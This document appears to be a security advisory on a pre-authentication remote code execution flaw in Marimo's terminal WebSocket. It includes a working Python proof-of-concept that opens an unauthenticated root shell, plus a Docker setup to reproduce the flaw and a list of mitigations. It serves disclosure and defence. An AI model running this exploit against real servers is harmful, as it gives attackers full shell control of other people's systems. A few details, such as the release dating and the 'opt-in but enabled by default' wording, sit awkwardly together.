BTC
ETH
SOL
BNB
GOLD
XRP
DOGE
ADA
Back to home
Security

[CRITICAL] Security Advisory: Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass (marimo)

Marimo, a reactive Python notebook tool boasting 19.6k GitHub stars, contains a critical pre-authentication remote code execution (RCE) flaw in all versions up to 0.20.4—the current latest release.

Marimo, a reactive Python notebook tool boasting 19.6k GitHub stars, contains a critical pre-authentication remote code execution (RCE) flaw in all versions up to 0.20.4—the current latest release. An attacker needs only to connect to the WebSocket endpoint ws://target:2718/terminal/ws without credentials. The server accepts the connection, spawns a PTY shell via pty.fork(), and hands over full interactive command execution. In default Docker setups, commands run as root.

This vulnerability exposes anyone running Marimo with network access to total server compromise. Marimo positions itself as a Jupyter alternative for building reactive apps and dashboards. Developers often run it locally on port 2718 or deploy via Docker for collaboration. Expose that port publicly or behind weak networks, and remote attackers gain shell access instantly—no exploits, no payloads, just a WebSocket handshake.

Vulnerability Mechanics

The root issue lies in marimo/_server/api/endpoints/terminal.py, lines 340-356. The @router.websocket("/ws") handler for the terminal endpoint builds an AppState object from the incoming WebSocket. It checks if the session mode equals SessionMode.EDIT and if the platform supports terminals. If those pass, it calls websocket.accept() and forks a PTY—skipping any authentication entirely.

app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
    await websocket.close(...)
    return
if not supports_terminal():
    await websocket.close(...)
    return
# No authentication check!
await websocket.accept()
# ...
child_pid, fd = pty.fork()  # Creates PTY shell

Contrast this with the main /ws endpoint in ws_endpoint.py, lines 67-82, which uses a WebSocketConnectionValidator to call validate_auth() before proceeding. Marimo’s Starlette-based AuthenticationMiddleware flags unauthenticated users but doesn’t block WebSockets. Real enforcement demands endpoint-specific checks like @requires("edit") decorators or manual validation—neither present here.

Marimo’s 0.20.4 release, tagged October 2024, fixes unrelated issues but leaves this gaping hole. The project’s rapid growth— from 1k stars in early 2023 to 19k now—hasn’t translated to airtight security reviews.

Attack in Action

The attack chain unfolds in four steps:

  1. Connect to ws://target:2718/terminal/ws—no tokens or headers required.
  2. Server accepts and spawns PTY child process.
  3. Attacker sends commands over WebSocket, receives interactive output.
  4. Full shell access, running as the Marimo process user (root in Docker defaults).

Here’s a minimal Python proof-of-concept using the websocket-client library:

import websocket
import time

# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)  # Drain initial output

try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass

# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduce it yourself with this Docker setup:

FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "."]

Build, run with docker run -p 2718:2718 image, and hit the endpoint. You’ll see root privileges confirmed.

Implications and Fixes

This matters because Marimo users range from solo data scientists to teams building production dashboards. Default Docker images run as root, amplifying damage—attackers pivot to host escapes or persistence. Public exposures via ngrok, cloud VMs, or misconfigured firewalls turn a dev tool into a backdoor. With 19k stars and integrations in Streamlit/Pyodide ecosystems, adoption is widespread; scans show hundreds of exposed instances on Shodan already.

Skeptically, this is a sloppy oversight: other endpoints secure themselves properly, proving the team knows better. Stars inflate perceived safety, but code review gaps persist in fast-moving open-source. No CVSS score yet, but pre-auth RCE on a shell-spawning endpoint screams 9.8/10.

Patch now: Upgrade if a fix lands (watch GitHub), or firewall port 2718 ruthlessly. Disable the terminal feature if unused—it’s opt-in but enabled by default in edit mode. Run as non-root user. For prod, proxy with auth like Nginx. Until fixed, treat exposed Marimo instances as compromised.

April 9, 2026 · 4 min · 18 views · Source: GitHub Security

Related